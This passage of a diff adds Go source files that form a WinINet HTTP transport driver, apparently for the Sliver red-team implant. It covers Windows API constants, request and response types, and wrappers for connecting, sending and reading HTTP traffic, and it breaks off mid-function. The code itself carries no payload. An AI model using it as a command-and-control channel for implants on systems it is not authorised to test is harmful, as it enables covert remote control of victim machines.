+	ErrorInternetClientAuthCertNeeded              uintptr = (InternetErrorBase + 44)
+	ErrorInternetInvalidCa                         uintptr = (InternetErrorBase + 45)
+	ErrorInternetClientAuthNotSetup                uintptr = (InternetErrorBase + 46)
+	ErrorInternetAsyncThreadFailed                 uintptr = (InternetErrorBase + 47)
+	ErrorInternetRedirectSchemeChange              uintptr = (InternetErrorBase + 48)
+	ErrorInternetDialogPending                     uintptr = (InternetErrorBase + 49)
+	ErrorInternetRetryDialog                       uintptr = (InternetErrorBase + 50)
+	ErrorInternetHTTPsHTTPSubmitRedir              uintptr = (InternetErrorBase + 52)
+	ErrorInternetInsertCdrom                       uintptr = (InternetErrorBase + 53)
+	ErrorInternetFortezzaLoginNeeded               uintptr = (InternetErrorBase + 54)
+	ErrorInternetSecCertErrors                     uintptr = (InternetErrorBase + 55)
+	ErrorInternetSecCertNoRev                      uintptr = (InternetErrorBase + 56)
+	ErrorInternetSecCertRevFailed                  uintptr = (InternetErrorBase + 57)
+	ErrorFtpTransferInProgress                     uintptr = (InternetErrorBase + 110)
+	ErrorFtpDropped                                uintptr = (InternetErrorBase + 111)
+	ErrorFtpNoPassiveMode                          uintptr = (InternetErrorBase + 112)
+	ErrorGopherProtocolError                       uintptr = (InternetErrorBase + 130)
+	ErrorGopherNotFile                             uintptr = (InternetErrorBase + 131)
+	ErrorGopherDataError                           uintptr = (InternetErrorBase + 132)
+	ErrorGopherEndOfData                           uintptr = (InternetErrorBase + 133)
+	ErrorGopherInvalidLocator                      uintptr = (InternetErrorBase + 134)
+	ErrorGopherIncorrectLocatorType                uintptr = (InternetErrorBase + 135)
+	ErrorGopherNotGopherPlus                       uintptr = (InternetErrorBase + 136)
+	ErrorGopherAttributeNotFound                   uintptr = (InternetErrorBase + 137)
+	ErrorGopherUnknownLocator                      uintptr = (InternetErrorBase + 138)
+	ErrorHTTPHeaderNotFound                        uintptr = (InternetErrorBase + 150)
+	ErrorHTTPDownlevelServer                       uintptr = (InternetErrorBase + 151)
+	ErrorHTTPInvalidServerResponse                 uintptr = (InternetErrorBase + 152)
+	ErrorHTTPInvalidHeader                         uintptr = (InternetErrorBase + 153)
+	ErrorHTTPInvalidQueryRequest                   uintptr = (InternetErrorBase + 154)
+	ErrorHTTPHeaderAlreadyExists                   uintptr = (InternetErrorBase + 155)
+	ErrorHTTPRedirectFailed                        uintptr = (InternetErrorBase + 156)
+	ErrorHTTPNotRedirected                         uintptr = (InternetErrorBase + 160)
+	ErrorHTTPCookieNeedsConfirmation               uintptr = (InternetErrorBase + 161)
+	ErrorHTTPCookieDeclined                        uintptr = (InternetErrorBase + 162)
+	ErrorHTTPRedirectNeedsConfirmation             uintptr = (InternetErrorBase + 168)
+	ErrorInternetSecurityChannelError              uintptr = (InternetErrorBase + 157)
+	ErrorInternetUnableToCacheFile                 uintptr = (InternetErrorBase + 158)
+	ErrorInternetTcpipNotInstalled                 uintptr = (InternetErrorBase + 159)
+	ErrorInternetDisconnected                      uintptr = (InternetErrorBase + 163)
+	ErrorInternetServerUnreachable                 uintptr = (InternetErrorBase + 164)
+	ErrorInternetProxyServerUnreachable            uintptr = (InternetErrorBase + 165)
+	ErrorInternetBadAutoProxyScript                uintptr = (InternetErrorBase + 166)
+	ErrorInternetUnableToDownloadScript            uintptr = (InternetErrorBase + 167)
+	ErrorInternetSecInvalidCert                    uintptr = (InternetErrorBase + 169)
+	ErrorInternetSecCertRevoked                    uintptr = (InternetErrorBase + 170)
+	ErrorInternetFailedDuetosecuritycheck          uintptr = (InternetErrorBase + 171)
+	ErrorInternetNotInitialized                    uintptr = (InternetErrorBase + 172)
+	ErrorInternetNeedMsnSspiPkg                    uintptr = (InternetErrorBase + 173)
+	ErrorInternetLoginFailureDisplayEntityBody     uintptr = (InternetErrorBase + 174)
+	InternetErrorLast                              uintptr = ErrorInternetLoginFailureDisplayEntityBody
+	NormalCacheEntry                               uintptr = 0x00000001
+	StickyCacheEntry                               uintptr = 0x00000004
+	EditedCacheEntry                               uintptr = 0x00000008
+	TrackOfflineCacheEntry                         uintptr = 0x00000010
+	TrackOnlineCacheEntry                          uintptr = 0x00000020
+	SparseCacheEntry                               uintptr = 0x00010000
+	CookieCacheEntry                               uintptr = 0x00100000
+	UrlhistoryCacheEntry                           uintptr = 0x00200000
+	UrlcacheFindDefaultFilter                      uintptr = NormalCacheEntry | CookieCacheEntry | UrlhistoryCacheEntry | TrackOfflineCacheEntry | TrackOnlineCacheEntry | StickyCacheEntry
+	CachegroupAttributeGetAll                      uintptr = 0xffffffff
+	CachegroupAttributeBasic                       uintptr = 0x00000001
+	CachegroupAttributeFlag                        uintptr = 0x00000002
+	CachegroupAttributeType                        uintptr = 0x00000004
+	CachegroupAttributeQuota                       uintptr = 0x00000008
+	CachegroupAttributeGroupname                   uintptr = 0x00000010
+	CachegroupAttributeStorage                     uintptr = 0x00000020
+	CachegroupFlagNonpurgeable                     uintptr = 0x00000001
+	CachegroupFlagGidonly                          uintptr = 0x00000004
+	CachegroupFlagFlushurlOndelete                 uintptr = 0x00000002
+	CachegroupSearchAll                            uintptr = 0x00000000
+	CachegroupSearchByurl                          uintptr = 0x00000001
+	CachegroupTypeInvalid                          uintptr = 0x00000001
+	CachegroupReadwriteMask                        uintptr = CachegroupAttributeType | CachegroupAttributeQuota | CachegroupAttributeGroupname | CachegroupAttributeStorage
+	GroupnameMaxLength                             uintptr = 120
+	GroupOwnerStorageSize                          uintptr = 4
+	CacheEntryAttributeFc                          uintptr = 0x00000004
+	CacheEntryHitrateFc                            uintptr = 0x00000010
+	CacheEntryModtimeFc                            uintptr = 0x00000040
+	CacheEntryExptimeFc                            uintptr = 0x00000080
+	CacheEntryAcctimeFc                            uintptr = 0x00000100
+	CacheEntrySynctimeFc                           uintptr = 0x00000200
+	CacheEntryHeaderinfoFc                         uintptr = 0x00000400
+	CacheEntryExemptDeltaFc                        uintptr = 0x00000800
+	InternetCacheGroupAdd                          uintptr = 0
+	InternetCacheGroupRemove                       uintptr = 1
+	InternetDialForcePrompt                        uintptr = 0x2000
+	InternetDialShowOffline                        uintptr = 0x4000
+	InternetDialUnattended                         uintptr = 0x8000
+	InterentGoonlineRefresh                        uintptr = 0x00000001
+	InterentGoonlineMask                           uintptr = 0x00000001
+	InternetAutodialForceOnline                    uintptr = 1
+	InternetAutodialForceUnattended                uintptr = 2
+	InternetAutodialFailifsecuritycheck            uintptr = 4
+	InternetAutodialOverrideNetPresent             uintptr = 8
+	InternetAutodialFlagsMask                      uintptr = (InternetAutodialForceOnline | InternetAutodialForceUnattended | InternetAutodialFailifsecuritycheck | InternetAutodialOverrideNetPresent)
+	ProxyAutoDetectTypeDhcp                        uintptr = 1
+	ProxyAutoDetectTypeDnsA                        uintptr = 2
+	InternetConnectionModem                        uintptr = 0x01
+	InternetConnectionLan                          uintptr = 0x02
+	InternetConnectionProxy                        uintptr = 0x04
+	InternetConnectionModemBusy                    uintptr = 0x08
+	InternetRasInstalled                           uintptr = 0x10
+	InternetConnectionOffline                      uintptr = 0x20
+	InternetConnectionConfigured                   uintptr = 0x40
+	InternetCustomdialConnect                      uintptr = 0
+	InternetCustomdialUnattended                   uintptr = 1
+	InternetCustomdialDisconnect                   uintptr = 2
+	InternetCustomdialShowoffline                  uintptr = 4
+	InternetCustomdialSafeForUnattended            uintptr = 1
+	InternetCustomdialWillSupplyState              uintptr = 2
+	InternetCustomdialCanHangup                    uintptr = 4
+	InternetDialstateDisconnected                  uintptr = 1
+	InternetIdentityFlagPrivateCache               uintptr = 0x01
+	InternetIdentityFlagSharedCache                uintptr = 0x02
+	InternetIdentityFlagClearData                  uintptr = 0x04
+	InternetIdentityFlagClearCookies               uintptr = 0x08
+	InternetIdentityFlagClearHistory               uintptr = 0x10
+	InternetIdentityFlagClearContent               uintptr = 0x20
+	InternetSuppressResetAll                       uintptr = 0x00
+	InternetSuppressCookiePolicy                   uintptr = 0x01
+	InternetSuppressCookiePolicyReset              uintptr = 0x02
+	PrivacyTemplateNoCookies                       uintptr = 0
+	PrivacyTemplateHigh                            uintptr = 1
+	PrivacyTemplateMediumHigh                      uintptr = 2
+	PrivacyTemplateMedium                          uintptr = 3
+	PrivacyTemplateMediumLow                       uintptr = 4
+	PrivacyTemplateLow                             uintptr = 5
+	PrivacyTemplateCustom                          uintptr = 100
+	PrivacyTemplateAdvanced                        uintptr = 101
+	PrivacyTemplateMax                             uintptr = PrivacyTemplateLow
+	PrivacyTypeFirstParty                          uintptr = 0
+	PrivacyTypeThirdParty                          uintptr = 1
+)

implant/sliver/transports/httpclient/drivers/win/wininet/http.go

@@ -0,0 +1,20 @@
+package wininet
+
+import "errors"
+
+// ErrNoCookie is returned by Request's Cookie method when a cookie is
+// not found.
+var ErrNoCookie = errors.New("named cookie not present")
+
+// Common HTTP methods.
+const (
+	MethodConnect string = "CONNECT"
+	MethodDelete  string = "DELETE"
+	MethodGet     string = "GET"
+	MethodHead    string = "HEAD"
+	MethodOptions string = "OPTIONS"
+	MethodPatch   string = "PATCH"
+	MethodPost    string = "POST"
+	MethodPut     string = "PUT"
+	MethodTrace   string = "TRACE"
+)

implant/sliver/transports/httpclient/drivers/win/wininet/request.go

@@ -0,0 +1,55 @@
+package wininet
+
+// Request is a struct containing common HTTP request data.
+type Request struct {
+	Body    []byte
+	cookies []*Cookie
+	Headers map[string]string
+	Method  string
+	URL     string
+}
+
+// NewRequest will return a pointer to a new Request instasnce.
+func NewRequest(method, url string, body ...[]byte) *Request {
+	var b []byte
+
+	if len(body) > 0 {
+		b = body[0]
+	}
+
+	return &Request{
+		Body:    b,
+		Headers: map[string]string{},
+		Method:  method,
+		URL:     url,
+	}
+}
+
+// AddCookie will add a Cookie to the Request.
+func (r *Request) AddCookie(cookie *Cookie) {
+	for i, c := range r.cookies {
+		if cookie.Name == c.Name {
+			r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
+			break
+		}
+	}
+
+	r.cookies = append(r.cookies, cookie)
+}
+
+// Cookie will return the named Cookie provided in the Request or
+// ErrNoCookie, if not found.
+func (r *Request) Cookie(name string) (*Cookie, error) {
+	for _, c := range r.cookies {
+		if name == c.Name {
+			return c, nil
+		}
+	}
+
+	return nil, ErrNoCookie
+}
+
+// Cookies will return the HTTP cookies provided in the Request.
+func (r *Request) Cookies() []*Cookie {
+	return r.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/response.go

@@ -0,0 +1,47 @@
+package wininet
+
+import (
+	"io"
+)
+
+// Response is a struct containing common HTTP response data.
+type Response struct {
+	Body          io.ReadCloser
+	cookies       []*Cookie
+	ContentLength int64
+	Header        map[string][]string
+	Proto         string
+	ProtoMajor    int
+	ProtoMinor    int
+	Status        string
+	StatusCode    int
+}
+
+// AddCookie will add a Cookie to the Request.
+func (r *Response) AddCookie(cookie *Cookie) {
+	for i, c := range r.cookies {
+		if cookie.Name == c.Name {
+			r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
+			break
+		}
+	}
+
+	r.cookies = append(r.cookies, cookie)
+}
+
+// Cookie will return the named Cookie provided in the Response or
+// ErrNoCookie, if not found.
+func (r *Response) Cookie(name string) (*Cookie, error) {
+	for _, c := range r.cookies {
+		if name == c.Name {
+			return c, nil
+		}
+	}
+
+	return nil, ErrNoCookie
+}
+
+// Cookies will return the HTTP cookies provided in the Response.
+func (r *Response) Cookies() []*Cookie {
+	return r.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/user32_windows.go

@@ -0,0 +1,16 @@
+package wininet
+
+import (
+	"golang.org/x/sys/windows"
+)
+
+var (
+	libuser32 = windows.NewLazySystemDLL("User32")
+)
+
+func GetDesktopWindow() uintptr {
+
+	ret, _, _ := libuser32.NewProc("GetDesktopWindow").Call()
+
+	return ret
+}

implant/sliver/transports/httpclient/drivers/win/wininet/utils_windows.go

@@ -0,0 +1,365 @@
+package wininet
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"net/url"
+	"strconv"
+	"strings"
+)
+
+func convertFail(str string, err error) error {
+	return fmt.Errorf(
+		"failed to convert %s to Windows type: %w",
+		str,
+		err,
+	)
+}
+
+func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
+	var connHndl uintptr
+	var err error
+	var flags uintptr
+	var passwd string
+	var port int64
+	var query string
+	var reqHndl uintptr
+	var uri *url.URL
+
+	// Parse URL
+	if uri, err = url.Parse(r.URL); err != nil {
+		return 0, fmt.Errorf("failed to parse url %s: %w", r.URL, err)
+	}
+
+	passwd, _ = uri.User.Password()
+
+	if uri.Port() != "" {
+		if port, err = strconv.ParseInt(uri.Port(), 10, 64); err != nil {
+			err = fmt.Errorf("port %s invalid: %w", uri.Port(), err)
+			return 0, err
+		}
+	}
+
+	switch uri.Scheme {
+	case "https":
+		flags = InternetFlagSecure
+	}
+
+	// Create connection
+	connHndl, err = InternetConnectW(
+		sessionHndl,
+		uri.Hostname(),
+		int(port),
+		uri.User.Username(),
+		passwd,
+		InternetServiceHTTP,
+		flags,
+		0,
+	)
+	if err != nil {
+		return 0, fmt.Errorf("failed to create connection: %w", err)
+	}
+
+	// Send query string too
+	if uri.RawQuery != "" {
+		query = "?" + uri.RawQuery
+	}
+
+	// Allow NTLM auth
+	flags |= InternetFlagKeepConnection
+	flags |= InternetFlagNoCookies //we're responsible for cookie management
+
+	// Create HTTP request
+	reqHndl, err = HTTPOpenRequestW(
+		connHndl,
+		r.Method,
+		uri.Path+query,
+		"",
+		"",
+		[]string{},
+		flags,
+		0,
+	)
+	if err != nil {
+		return 0, fmt.Errorf("failed to open request: %w", err)
+	}
+
+	return reqHndl, nil
+}
+
+var cookies []*Cookie
+
+func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
+	var b []byte
+	var body io.ReadCloser
+	var code int64
+	var contentLen int64
+	var err error
+	var hdrs map[string][]string
+	var major int
+	var minor int
+	var proto string
+	var res *Response
+	var status string
+
+	// Get status code
+	b, err = queryResponse(reqHndl, HTTPQueryStatusCode, 0)
+	if err != nil {
+		return nil, err
+	}
+
+	status = string(b)
+	if code, err = strconv.ParseInt(status, 10, 64); err != nil {
+		return nil, fmt.Errorf("status %s invalid: %w", status, err)
+	}
+
+	// Get status text
+	b, err = queryResponse(reqHndl, HTTPQueryStatusText, 0)
+	if err != nil {
+		return nil, err
+	} else if len(b) > 0 {
+		status += " " + string(b)
+	}
+
+	// Parse cookies
+	cookies = getCookies(reqHndl)
+
+	// Parse headers and proto
+	if proto, major, minor, hdrs, err = getHeaders(reqHndl); err != nil {
+		return nil, err
+	}
+
+	// Read response body
+	if body, contentLen, err = readResponse(reqHndl); err != nil {
+		return nil, err
+	}
+
+	res = &Response{
+		Body:          body,
+		ContentLength: contentLen,
+		Header:        hdrs,
+		Proto:         proto,
+		ProtoMajor:    major,
+		ProtoMinor:    minor,
+		Status:        status,
+		StatusCode:    int(code),
+	}
+
+	// Concat all cookies
+	for _, c := range req.Cookies() {
+		res.AddCookie(c)
+	}
+
+	for _, c := range cookies {
+		res.AddCookie(c)
+	}
+
+	return res, nil
+}
+
+func getCookies(reqHndl uintptr) []*Cookie {
+	var b []byte
+	var cookies []*Cookie
+	var err error
+	var tmp []string
+
+	// Get cookies
+	for i := 0; ; i++ {
+		b, err = queryResponse(
+			reqHndl,
+			HTTPQuerySetCookie,
+			i,
+		)
+		if err != nil {
+			break
+		}
+
+		tmp = strings.SplitN(string(b), "=", 2)
+		cookies = append(
+			cookies,
+			&Cookie{Name: tmp[0], Value: tmp[1]},
+		)
+	}
+
+	return cookies
+}
+
+func getHeaders(
+	reqHndl uintptr,
+) (string, int, int, map[string][]string, error) {
+	var b []byte
+	var err error
+	var hdrs = map[string][]string{}
+	var major int64
+	var minor int64
+	var proto string
+	var tmp []string
+
+	// Get headers
+	b, err = queryResponse(reqHndl, HTTPQueryRawHeadersCRLF, 0)
+	if err != nil {
+		return "", 0, 0, nil, err
+	}
+
+	for _, hdr := range strings.Split(string(b), "\r\n") {
+		tmp = strings.SplitN(hdr, ": ", 2)
+
+		if len(tmp) == 2 {
+			if _, ok := hdrs[tmp[0]]; !ok {
+				hdrs[tmp[0]] = []string{}
+			}
+
+			hdrs[tmp[0]] = append(hdrs[tmp[0]], tmp[1])
+		} else if strings.HasPrefix(hdr, "HTTP") {
+			proto = strings.Fields(hdr)[0]
+			tmp = strings.Split(proto, ".")
+
+			if len(tmp) >= 2 {
+				tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
+
+				major, err = strconv.ParseInt(tmp[0], 10, 64)
+				if err != nil {
+					err = fmt.Errorf("invalid HTTP version: %w", err)
+					return "", 0, 0, nil, err
+				}
+
+				minor, err = strconv.ParseInt(tmp[1], 10, 64)
+				if err != nil {
+					err = fmt.Errorf("invalid HTTP version: %w", err)
+					return "", 0, 0, nil, err
+				}
+			}
+		}
+	}
+
+	return proto, int(major), int(minor), hdrs, nil
+}
+
+func queryResponse(reqHndl, info uintptr, idx int) ([]byte, error) {
+	var buffer []byte
+	var err error
+	var size int
+
+	if idx < 0 {
+		idx = 0
+	}
+
+	err = HTTPQueryInfoW(reqHndl, info, &buffer, &size, &idx)
+	if err != nil {
+		buffer = make([]byte, size)
+
+		err = HTTPQueryInfoW(
+			reqHndl,
+			info,
+			&buffer,
+			&size,
+			&idx,
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to query info: %w", err)
+			return []byte{}, err
+		}
+	}
+
+	return buffer, nil
+}
+
+func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
+	var b []byte
+	var chunk []byte
+	var chunkLen int64
+	var contentLen int64
+	var err error
+	var n int64
+
+	// Get Content-Length and body of response
+	for {
+		// Get next chunk size
+		err = InternetQueryDataAvailable(reqHndl, &chunkLen)
+		if err != nil {
+			err = fmt.Errorf("failed to query data available: %w", err)
+			break
+		}
+
+		// Stop, if finished
+		if chunkLen == 0 {
+			break
+		}
+
+		// Read next chunk
+		err = InternetReadFile(reqHndl, &chunk, chunkLen, &n)
+		if err != nil {
+			err = fmt.Errorf("failed to read data: %w", err)
+			break
+		}
+
+		// Update fields
+		contentLen += chunkLen
+		b = append(b, chunk...)
+	}
+
+	if err != nil {
+		return nil, 0, err
+	}
+
+	return ioutil.NopCloser(bytes.NewReader(b)), contentLen, nil
+}
+
+func sendRequest(reqHndl uintptr, r *Request) error {
+	var err error
+	var method uintptr
+
+	// Process cookies
+	method = HTTPAddreqFlagAdd
+	method |= HTTPAddreqFlagCoalesceWithSemicolon
+
+	// // FIXME This is a dumb hack
+	// HTTPAddRequestHeadersW(
+	// 	reqHndl,
+	// 	"Cookie: ignore=ignore",
+	// 	HTTPAddreqFlagAddIfNew,
+	// )
+	// End dumb hack
+
+	for _, c := range r.Cookies() {
+		err = HTTPAddRequestHeadersW(
+			reqHndl,
+			"Cookie: "+c.Name+"="+c.Value,
+			method,
+		)
+		if err != nil {
+			return fmt.Errorf("failed to add cookies: %w", err)
+		}
+	}
+
+	// Process headers
+	method = HTTPAddreqFlagAdd
+	method |= HTTPAddreqFlagReplace
+
+	for k, v := range r.Headers {
+		err = HTTPAddRequestHeadersW(
+			reqHndl,
+			k+": "+v,
+			method,
+		)
+		if err != nil {
+			return fmt.Errorf("failed to add request headers: %w", err)
+		}
+	}
+
+	// Send HTTP request
+	err = HTTPSendRequestW(
+		reqHndl,
+		"",
+		0,
+		r.Body,
+		len(r.Body),
+	)
+	if err != nil {
+		return fmt.Errorf("failed to send request: %w", err)
+	}
+
+	return nil
+}

implant/sliver/transports/httpclient/drivers/win/wininet/wininet.go

@@ -0,0 +1,3 @@
+package wininet
+
+//go:generate go run ../tools/defines.go wininet /usr/x86_64-w64-mingw32/include/wininet.h

implant/sliver/transports/httpclient/drivers/win/wininet/wininet_windows.go

@@ -0,0 +1,446 @@
+package wininet
+
+import (
+	"fmt"
+	"strings"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+var wininet *windows.LazyDLL = windows.NewLazySystemDLL("Wininet")
+
+// HTTPAddRequestHeadersW is from wininet.h
+func HTTPAddRequestHeadersW(
+	reqHndl uintptr,
+	header string,
+	addMethod uintptr,
+) error {
+	var err error
+	var ok uintptr
+	var proc string = "HttpAddRequestHeadersW"
+	var pswzHeader uintptr
+	var tmp *uint16
+
+	if header == "" {
+		// Weird, just do nothing
+		return nil
+	}
+	header = strings.TrimSpace(header) + "\r\n"
+
+	// Convert to Windows types
+	if tmp, err = windows.UTF16PtrFromString(header); err != nil {
+		return convertFail(header, err)
+	}
+
+	pswzHeader = uintptr(unsafe.Pointer(tmp))
+
+	ok, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		pswzHeader,
+		uintptr(len(header)),
+		addMethod,
+	)
+	if ok == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return nil
+}
+
+// HTTPOpenRequestW is from wininet.h
+func HTTPOpenRequestW(
+	connHndl uintptr,
+	verb string,
+	objectName string,
+	version string,
+	referrer string,
+	acceptTypes []string,
+	flags uintptr,
+	context uintptr,
+) (uintptr, error) {
+	var err error
+	var lpcwstrObjectName uintptr
+	var lpcwstrReferrer uintptr
+	var lpcwstrVerb uintptr
+	var lpcwstrVersion uintptr
+	var lplpcwstrAcceptTypes []*uint16
+	var proc string = "HttpOpenRequestW"
+	var reqHndl uintptr
+	var tmp *uint16
+
+	// Convert to Windows types
+	lplpcwstrAcceptTypes = make([]*uint16, 1)
+	for _, theType := range acceptTypes {
+		if theType == "" {
+			continue
+		}
+
+		tmp, err = windows.UTF16PtrFromString(theType)
+		if err != nil {
+			return 0, convertFail(theType, err)
+		}
+
+		lplpcwstrAcceptTypes = append(lplpcwstrAcceptTypes, tmp)
+	}
+
+	if objectName != "" {
+		if tmp, err = windows.UTF16PtrFromString(objectName); err != nil {
+			return 0, convertFail(objectName, err)
+		}
+
+		lpcwstrObjectName = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if referrer != "" {
+		if tmp, err = windows.UTF16PtrFromString(referrer); err != nil {
+			return 0, convertFail(referrer, err)
+		}
+
+		lpcwstrReferrer = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if verb != "" {
+		if tmp, err = windows.UTF16PtrFromString(verb); err != nil {
+			return 0, convertFail(verb, err)
+		}
+
+		lpcwstrVerb = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if version != "" {
+		if tmp, err = windows.UTF16PtrFromString(version); err != nil {
+			return 0, convertFail(version, err)
+		}
+
+		lpcwstrVersion = uintptr(unsafe.Pointer(tmp))
+	}
+
+	reqHndl, _, err = wininet.NewProc(proc).Call(
+		connHndl,
+		lpcwstrVerb,
+		lpcwstrObjectName,
+		lpcwstrVersion,
+		lpcwstrReferrer,
+		uintptr(unsafe.Pointer(&lplpcwstrAcceptTypes[0])),
+		flags,
+		context,
+	)
+	if reqHndl == 0 {
+		return 0, fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return reqHndl, nil
+}
+
+// HTTPQueryInfoW is from wininet.h
+func HTTPQueryInfoW(
+	reqHndl uintptr,
+	info uintptr,
+	buffer *[]byte,
+	bufferLen *int,
+	index *int,
+) error {
+	var b []uint16
+	var err error
+	var proc string = "HttpQueryInfoW"
+	var success uintptr
+	var tmp string
+
+	if *bufferLen > 0 {
+		b = make([]uint16, *bufferLen)
+	} else {
+		b = make([]uint16, 1)
+	}
+
+	success, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		info,
+		uintptr(unsafe.Pointer(&b[0])),
+		uintptr(unsafe.Pointer(bufferLen)),
+		uintptr(unsafe.Pointer(index)),
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	tmp = windows.UTF16ToString(b)
+	*buffer = []byte(tmp)
+
+	return nil
+}
+
+// HTTPSendRequestW is from wininet.h
+func HTTPSendRequestW(
+	reqHndl uintptr,
+	headers string,
+	headersLen int,
+	data []byte,
+	dataLen int,
+) error {
+	var body uintptr
+	var err error
+	var lpcwstrHeaders uintptr
+	var proc string = "HttpSendRequestW"
+	var success uintptr
+	var tmp *uint16
+
+	// Pointer to data if provided
+	if (data != nil) && (len(data) > 0) {
+		body = uintptr(unsafe.Pointer(&data[0]))
+	}
+
+	// Convert to Windows types
+	if headersLen > 0 {
+		if tmp, err = windows.UTF16PtrFromString(headers); err != nil {
+			return convertFail(headers, err)
+		}
+
+		lpcwstrHeaders = uintptr(unsafe.Pointer(tmp))
+	}
+
+	success, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		lpcwstrHeaders,
+		uintptr(headersLen),
+		body,
+		uintptr(dataLen),
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return nil
+}
+
+// InternetConnectW is from wininet.h
+func InternetConnectW(
+	sessionHndl uintptr,
+	serverName string,
+	serverPort int,
+	username string,
+	password string,
+	service uintptr,
+	flags uintptr,
+	context uintptr,
+) (uintptr, error) {
+	var connHndl uintptr
+	var err error
+	var lpcwstrServerName uintptr
+	var lpcwstrUserName uintptr
+	var lpcwstrPassword uintptr
+	var proc string = "InternetConnectW"
+	var tmp *uint16
+
+	// Convert to Windows types
+	if password != "" {
+		if tmp, err = windows.UTF16PtrFromString(password); err != nil {
+			return 0, convertFail(password, err)
+		}
+
+		lpcwstrPassword = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if serverName != "" {
+		if tmp, err = windows.UTF16PtrFromString(serverName); err != nil {
+			return 0, convertFail(serverName, err)
+		}
+
+		lpcwstrServerName = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if username != "" {
+		if tmp, err = windows.UTF16PtrFromString(username); err != nil {
+			return 0, convertFail(username, err)
+		}
+
+		lpcwstrUserName = uintptr(unsafe.Pointer(tmp))
+	}
+
+	connHndl, _, err = wininet.NewProc(proc).Call(
+		sessionHndl,
+		lpcwstrServerName,
+		uintptr(serverPort),
+		lpcwstrUserName,
+		lpcwstrPassword,
+		service,
+		flags,
+		context,
+	)
+	if connHndl == 0 {
+		return 0, fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return connHndl, nil
+}
+
+// InternetOpenW is from wininet.h
+func InternetOpenW(
+	userAgent string,
+	accessType uintptr,
+	proxy string,
+	proxyBypass string,
+	flags uintptr,
+) (uintptr, error) {
+	var err error
+	var lpszAgent uintptr
+	var lpszProxy uintptr
+	var lpszProxyBypass uintptr
+	var proc string = "InternetOpenW"
+	var sessionHndl uintptr
+	var tmp *uint16
+
+	// Convert to Windows types
+	if userAgent != "" {
+		if tmp, err = windows.UTF16PtrFromString(userAgent); err != nil {
+			return 0, convertFail(userAgent, err)
+		}
+
+		lpszAgent = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if proxy != "" {
+		if tmp, err = windows.UTF16PtrFromString(proxy); err != nil {
+			return 0, convertFail(proxy, err)
+		}
+
+		lpszProxy = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if proxyBypass != "" {
+		tmp, err = windows.UTF16PtrFromString(proxyBypass)
+		if err != nil {
+			return 0, convertFail(proxyBypass, err)
+		}
+
+		lpszProxyBypass = uintptr(unsafe.Pointer(tmp))
+	}
+
+	sessionHndl, _, err = wininet.NewProc(proc).Call(
+		lpszAgent,
+		accessType,
+		lpszProxy,
+		lpszProxyBypass,
+		flags,
+	)
+	if sessionHndl == 0 {
+		return 0, fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return sessionHndl, nil
+}
+
+// InternetQueryDataAvailable is from wininet.h
+func InternetQueryDataAvailable(
+	reqHndl uintptr,
+	bytesAvailable *int64,
+) error {
+	var err error
+	var proc string = "InternetQueryDataAvailable"
+	var success uintptr
+
+	success, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		uintptr(unsafe.Pointer(bytesAvailable)),
+		0,
+		0,
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return nil
+}
+
+// InternetReadFile is from wininet.h
+func InternetReadFile(
+	reqHndl uintptr,
+	buffer *[]byte,
+	bytesToRead int64,
+	bytesRead *int64,
+) error {
+	var b []byte
+	var err error
+	var proc string = "InternetReadFile"
+	var success uintptr
+
+	if bytesToRead > 0 {
+		b = make([]byte, bytesToRead)
+	} else {
+		b = make([]byte, 1)
+	}
+
+	success, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		uintptr(unsafe.Pointer(&b[0])),
+		uintptr(bytesToRead),
+		uintptr(unsafe.Pointer(bytesRead)),
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	*buffer = b
+
+	return nil
+}
+
+// InternetSetOptionW is from wininet.h
+func InternetSetOptionW(
+	hndl uintptr,
+	opt uintptr,
+	val []byte,
+	valLen int,
+) error {
+	var err error
+	var proc string = "InternetSetOptionW"
+	var success uintptr
+
+	// Pointer to data if provided
+	if valLen == 0 {
+		val = make([]byte, 1)
+	}
+
+	success, _, err = wininet.NewProc(proc).Call(
+		hndl,
+		opt,
+		uintptr(unsafe.Pointer(&val[0])),
+		uintptr(valLen),
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return nil
+}
+
+// InternetErrorDlg is from wininet.h
+func InternetErrorDlg(
+	hWnd uintptr,
+	hRequest uintptr,
+	dwError uint32,
+	dwFlags uint32,
+	lppvData *[]byte,
+) (uintptr, error) {
+	var buf []byte
+	var proc string = "InternetErrorDlg"
+	var success uintptr
+
+	buf = make([]byte, 1024) //arbitrary size (safe?)
+
+	success, _, _ = wininet.NewProc(proc).Call(
+		uintptr(hWnd),
+		hRequest,
+		uintptr(dwError),
+		uintptr(dwFlags),
+		uintptr(unsafe.Pointer(&buf[0])),
+	)
+	// we expect 12032 if user hits okay, otherwise we return the response code as an error
